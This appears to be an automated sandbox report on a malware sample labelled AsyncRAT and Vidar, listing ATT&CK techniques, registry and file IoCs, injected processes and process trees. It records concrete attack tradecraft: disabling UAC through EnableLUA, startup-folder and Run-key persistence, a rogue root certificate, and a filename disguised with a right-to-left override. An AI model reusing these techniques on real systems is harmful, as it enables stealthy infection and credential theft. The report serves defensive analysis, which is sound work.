asyncrat | 31d66dd838b4f7fd10513f8f84d85cc691c27356a9e86e48e3669c1f3f537342

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003
Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation	rgaqhuh3bw.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation	cscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation	cscript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.NET Framework.exe	RegAsm.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.NET Framework.exe	RegAsm.exe

Executes dropped EXE 30 IoCs

pid	Process
2704	Hurricane Loader.exe
3252	Hurricane Loader.exe
2488	Hurricane Loader.exe
2460	Loader.exe
1964	Loader.exe
4368	Loader.exe
4544	FORCE.exe
5464	FORCE.exe
5212	Escape From Tarkov‮nls..scr
6120	rgaqhuh3bw.exe
4268	Service.exe
384	7zr.exe
448	aitstatic.exe
5672	ComSvcConfig.exe
4292	MicrosoftCertificateServices.exe
1196	WinSAT.exe
2484	Runtime Broker.exe
1136	Loader.exe
5560	Loader.exe
5584	Runtime Broker.exe
4604	Runtime Broker.exe
5276	7zr.exe
2412	driver1.exe
3256	Microsoft.exe
3096	Microsoft.exe
1404	Microsoft.exe
4756	Loader.exe
816	Service.exe
6032	driver1.exe
4876	driver2.exe

Loads dropped DLL 20 IoCs

pid	Process
1196	WinSAT.exe
1196	WinSAT.exe
1196	WinSAT.exe
2484	Runtime Broker.exe
2484	Runtime Broker.exe
2484	Runtime Broker.exe
2484	Runtime Broker.exe
5584	Runtime Broker.exe
5584	Runtime Broker.exe
5584	Runtime Broker.exe
5584	Runtime Broker.exe
5584	Runtime Broker.exe
4604	Runtime Broker.exe
3256	Microsoft.exe
3096	Microsoft.exe
3096	Microsoft.exe
3096	Microsoft.exe
3096	Microsoft.exe
3096	Microsoft.exe
1404	Microsoft.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	Service.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	Service.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\G:	unregmp2.exe
File opened (read-only)	\??\H:	unregmp2.exe
File opened (read-only)	\??\J:	unregmp2.exe
File opened (read-only)	\??\K:	unregmp2.exe
File opened (read-only)	\??\O:	unregmp2.exe
File opened (read-only)	\??\Y:	unregmp2.exe
File opened (read-only)	\??\Z:	unregmp2.exe
File opened (read-only)	\??\A:	unregmp2.exe
File opened (read-only)	\??\L:	unregmp2.exe
File opened (read-only)	\??\N:	unregmp2.exe
File opened (read-only)	\??\E:	unregmp2.exe
File opened (read-only)	\??\I:	unregmp2.exe
File opened (read-only)	\??\M:	unregmp2.exe
File opened (read-only)	\??\P:	unregmp2.exe
File opened (read-only)	\??\R:	unregmp2.exe
File opened (read-only)	\??\T:	unregmp2.exe
File opened (read-only)	\??\U:	unregmp2.exe
File opened (read-only)	\??\B:	unregmp2.exe
File opened (read-only)	\??\Q:	unregmp2.exe
File opened (read-only)	\??\S:	unregmp2.exe
File opened (read-only)	\??\V:	unregmp2.exe
File opened (read-only)	\??\W:	unregmp2.exe
File opened (read-only)	\??\X:	unregmp2.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
102	camo.githubusercontent.com
101	raw.githubusercontent.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	driver2.exe

Suspicious use of SetThreadContext 9 IoCs

description	pid	Process	procid_target
PID 2704 set thread context of 5108	2704	Hurricane Loader.exe	145
PID 3252 set thread context of 5396	3252	Hurricane Loader.exe	148
PID 2488 set thread context of 2336	2488	Hurricane Loader.exe	152
PID 448 set thread context of 380	448	aitstatic.exe	210
PID 5672 set thread context of 5724	5672	ComSvcConfig.exe	213
PID 4292 set thread context of 1728	4292	MicrosoftCertificateServices.exe	215
PID 2412 set thread context of 6056	2412	driver1.exe	276
PID 6032 set thread context of 6104	6032	driver1.exe	278
PID 4876 set thread context of 5548	4876	driver2.exe	285

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1148	sc.exe
2968	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 5 IoCs

pid	pid_target	Process	procid_target
5660	2460	WerFault.exe	158
5740	2460	WerFault.exe	158
2644	1964	WerFault.exe	165
5264	4368	WerFault.exe	169
2892	4368	WerFault.exe	169

Creates scheduled task(s) 1 TTPs 8 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
5220	schtasks.exe
4840	schtasks.exe
1416	schtasks.exe
5004	schtasks.exe
5888	schtasks.exe
4732	schtasks.exe
4024	schtasks.exe
5816	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

GoLang User-Agent 6 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	230	Go-http-client/1.1
HTTP User-Agent header	232	Go-http-client/1.1
HTTP User-Agent header	233	Go-http-client/1.1
HTTP User-Agent header	246	Go-http-client/1.1
HTTP User-Agent header	248	Go-http-client/1.1
HTTP User-Agent header	227	Go-http-client/1.1

Kills process with taskkill 1 IoCs

evasion

pid	Process
404	taskkill.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2398549320-3657759451-817663969-1000\{D3DF5233-C009-43CB-8F4D-133FEA5FA187}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000_Classes\Local Settings	OpenWith.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

pid	Process
1048	reg.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474	Loader.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 040000000100000010000000acb694a59c17e0d791529bb19706a6e40f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f53000000010000007f000000307d3020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c0301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c009000000010000003e000000303c06082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030906082b0601050507030106082b060105050703080b0000000100000030000000440069006700690043006500720074002000420061006c00740069006d006f0072006500200052006f006f007400000062000000010000002000000016af57a9f676b0ab126095aa5ebadef22ab31119d644ac95cd4b93dbf3f26aeb140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df01d0000000100000010000000918ad43a9475f78bb5243de886d8103c7f000000010000000c000000300a06082b060105050703097e000000010000000800000000c001b39667d601030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47419000000010000001000000068cb42b035ea773e52ef50ecf50ec52920000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9	Loader.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 5c00000001000000040000000008000019000000010000001000000068cb42b035ea773e52ef50ecf50ec529030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae4747e000000010000000800000000c001b39667d6017f000000010000000c000000300a06082b060105050703091d0000000100000010000000918ad43a9475f78bb5243de886d8103c140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df062000000010000002000000016af57a9f676b0ab126095aa5ebadef22ab31119d644ac95cd4b93dbf3f26aeb0b0000000100000030000000440069006700690043006500720074002000420061006c00740069006d006f0072006500200052006f006f007400000009000000010000003e000000303c06082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030906082b0601050507030106082b0601050507030853000000010000007f000000307d3020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c0301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f040000000100000010000000acb694a59c17e0d791529bb19706a6e420000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9	Loader.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
2392	NOTEPAD.EXE

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3132	msedge.exe
3132	msedge.exe
1368	msedge.exe
1368	msedge.exe
2388	msedge.exe
2388	msedge.exe
1928	identity_helper.exe
1928	identity_helper.exe
5176	msedge.exe
5176	msedge.exe
648	msedge.exe
648	msedge.exe
648	msedge.exe
648	msedge.exe
796	msedge.exe
796	msedge.exe
2244	msedge.exe
2244	msedge.exe
5680	msedge.exe
5680	msedge.exe
5796	msedge.exe
5796	msedge.exe
5464	FORCE.exe
4544	FORCE.exe
5464	FORCE.exe
5464	FORCE.exe
5464	FORCE.exe
5464	FORCE.exe
5464	FORCE.exe
5464	FORCE.exe
5464	FORCE.exe
5464	FORCE.exe
5464	FORCE.exe
5464	FORCE.exe
5464	FORCE.exe
5464	FORCE.exe
5464	FORCE.exe
5464	FORCE.exe
5464	FORCE.exe
5464	FORCE.exe
5464	FORCE.exe
5464	FORCE.exe
5464	FORCE.exe
5464	FORCE.exe
5464	FORCE.exe
5464	FORCE.exe
5464	FORCE.exe
5464	FORCE.exe
4544	FORCE.exe
4544	FORCE.exe
4544	FORCE.exe
4544	FORCE.exe
5048	powershell.exe
5048	powershell.exe
5672	ComSvcConfig.exe
5672	ComSvcConfig.exe
2356	powershell.exe
6076	powershell.exe
2356	powershell.exe
6076	powershell.exe
4604	Runtime Broker.exe
4604	Runtime Broker.exe
1452	powershell.exe
1452	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 28 IoCs

pid	Process
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5052	unregmp2.exe
Token: SeCreatePagefilePrivilege	5052	unregmp2.exe
Token: SeRestorePrivilege	5648	7zG.exe
Token: 35	5648	7zG.exe
Token: SeSecurityPrivilege	5648	7zG.exe
Token: SeSecurityPrivilege	5648	7zG.exe
Token: SeRestorePrivilege	5964	7zG.exe
Token: 35	5964	7zG.exe
Token: SeSecurityPrivilege	5964	7zG.exe
Token: SeSecurityPrivilege	5964	7zG.exe
Token: SeRestorePrivilege	6124	7zG.exe
Token: 35	6124	7zG.exe
Token: SeSecurityPrivilege	6124	7zG.exe
Token: SeSecurityPrivilege	6124	7zG.exe
Token: SeRestorePrivilege	3944	7zG.exe
Token: 35	3944	7zG.exe
Token: SeSecurityPrivilege	3944	7zG.exe
Token: SeSecurityPrivilege	3944	7zG.exe
Token: SeDebugPrivilege	5464	FORCE.exe
Token: SeDebugPrivilege	4544	FORCE.exe
Token: SeRestorePrivilege	5928	7zG.exe
Token: 35	5928	7zG.exe
Token: SeSecurityPrivilege	5928	7zG.exe
Token: SeSecurityPrivilege	5928	7zG.exe
Token: SeDebugPrivilege	5212	Escape From Tarkov‮nls..scr
Token: SeDebugPrivilege	6120	rgaqhuh3bw.exe
Token: SeDebugPrivilege	5048	powershell.exe
Token: SeRestorePrivilege	384	7zr.exe
Token: 35	384	7zr.exe
Token: SeSecurityPrivilege	384	7zr.exe
Token: SeSecurityPrivilege	384	7zr.exe
Token: SeDebugPrivilege	5672	ComSvcConfig.exe
Token: SeDebugPrivilege	380	RegAsm.exe
Token: SeDebugPrivilege	5724	RegAsm.exe
Token: SeDebugPrivilege	1728	RegAsm.exe
Token: SeSecurityPrivilege	1196	WinSAT.exe
Token: SeRestorePrivilege	4656	7zG.exe
Token: 35	4656	7zG.exe
Token: SeSecurityPrivilege	4656	7zG.exe
Token: SeSecurityPrivilege	4656	7zG.exe
Token: SeDebugPrivilege	2356	powershell.exe
Token: SeDebugPrivilege	6076	powershell.exe
Token: SeShutdownPrivilege	2484	Runtime Broker.exe
Token: SeCreatePagefilePrivilege	2484	Runtime Broker.exe
Token: SeIncreaseQuotaPrivilege	5308	wmic.exe
Token: SeSecurityPrivilege	5308	wmic.exe
Token: SeTakeOwnershipPrivilege	5308	wmic.exe
Token: SeLoadDriverPrivilege	5308	wmic.exe
Token: SeSystemProfilePrivilege	5308	wmic.exe
Token: SeSystemtimePrivilege	5308	wmic.exe
Token: SeProfSingleProcessPrivilege	5308	wmic.exe
Token: SeIncBasePriorityPrivilege	5308	wmic.exe
Token: SeCreatePagefilePrivilege	5308	wmic.exe
Token: SeBackupPrivilege	5308	wmic.exe
Token: SeRestorePrivilege	5308	wmic.exe
Token: SeShutdownPrivilege	5308	wmic.exe
Token: SeDebugPrivilege	5308	wmic.exe
Token: SeSystemEnvironmentPrivilege	5308	wmic.exe
Token: SeRemoteShutdownPrivilege	5308	wmic.exe
Token: SeUndockPrivilege	5308	wmic.exe
Token: SeManageVolumePrivilege	5308	wmic.exe
Token: 33	5308	wmic.exe
Token: 34	5308	wmic.exe
Token: 35	5308	wmic.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
5648	7zG.exe
5964	7zG.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
6124	7zG.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
2144	OpenWith.exe
2144	OpenWith.exe
2144	OpenWith.exe
2144	OpenWith.exe
2144	OpenWith.exe
2144	OpenWith.exe
2144	OpenWith.exe
2144	OpenWith.exe
2144	OpenWith.exe
2144	OpenWith.exe
2144	OpenWith.exe
2144	OpenWith.exe
2144	OpenWith.exe
2144	OpenWith.exe
2144	OpenWith.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4656 wrote to memory of 4552	4656	wmplayer.exe	86
PID 4656 wrote to memory of 4552	4656	wmplayer.exe	86
PID 4656 wrote to memory of 4552	4656	wmplayer.exe	86
PID 4656 wrote to memory of 4784	4656	wmplayer.exe	87
PID 4656 wrote to memory of 4784	4656	wmplayer.exe	87
PID 4656 wrote to memory of 4784	4656	wmplayer.exe	87
PID 4784 wrote to memory of 5052	4784	unregmp2.exe	88
PID 4784 wrote to memory of 5052	4784	unregmp2.exe	88
PID 1368 wrote to memory of 3580	1368	msedge.exe	91
PID 1368 wrote to memory of 3580	1368	msedge.exe	91
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 4216	1368	msedge.exe	92
PID 1368 wrote to memory of 3132	1368	msedge.exe	93
PID 1368 wrote to memory of 3132	1368	msedge.exe	93
PID 1368 wrote to memory of 1488	1368	msedge.exe	94
PID 1368 wrote to memory of 1488	1368	msedge.exe	94
PID 1368 wrote to memory of 1488	1368	msedge.exe	94
PID 1368 wrote to memory of 1488	1368	msedge.exe	94
PID 1368 wrote to memory of 1488	1368	msedge.exe	94
PID 1368 wrote to memory of 1488	1368	msedge.exe	94
PID 1368 wrote to memory of 1488	1368	msedge.exe	94
PID 1368 wrote to memory of 1488	1368	msedge.exe	94
PID 1368 wrote to memory of 1488	1368	msedge.exe	94
PID 1368 wrote to memory of 1488	1368	msedge.exe	94
PID 1368 wrote to memory of 1488	1368	msedge.exe	94
PID 1368 wrote to memory of 1488	1368	msedge.exe	94

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files (x86)\Windows Media Player\wmplayer.exe
"C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "C:\Users\Admin\AppData\Local\Temp\9fdnHxWR9eGzMag3.mp4"
1⤵
- Suspicious use of WriteProcessMemory
PID:4656
- C:\Program Files (x86)\Windows Media Player\setup_wm.exe
  "C:\Program Files (x86)\Windows Media Player\setup_wm.exe" /RunOnce:"C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "C:\Users\Admin\AppData\Local\Temp\9fdnHxWR9eGzMag3.mp4"
  2⤵
  PID:4552
- C:\Windows\SysWOW64\unregmp2.exe
  "C:\Windows\System32\unregmp2.exe" /AsyncFirstLogon
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4784
- - C:\Windows\system32\unregmp2.exe
    "C:\Windows\SysNative\unregmp2.exe" /AsyncFirstLogon /REENTRANT
    3⤵
    - Enumerates connected drives
    - Suspicious use of AdjustPrivilegeToken
    PID:5052

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1368
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fff899c46f8,0x7fff899c4708,0x7fff899c4718
  2⤵
  PID:3580
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2152,2053152615804448269,1883023856875380889,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2180 /prefetch:2
  2⤵
  PID:4216
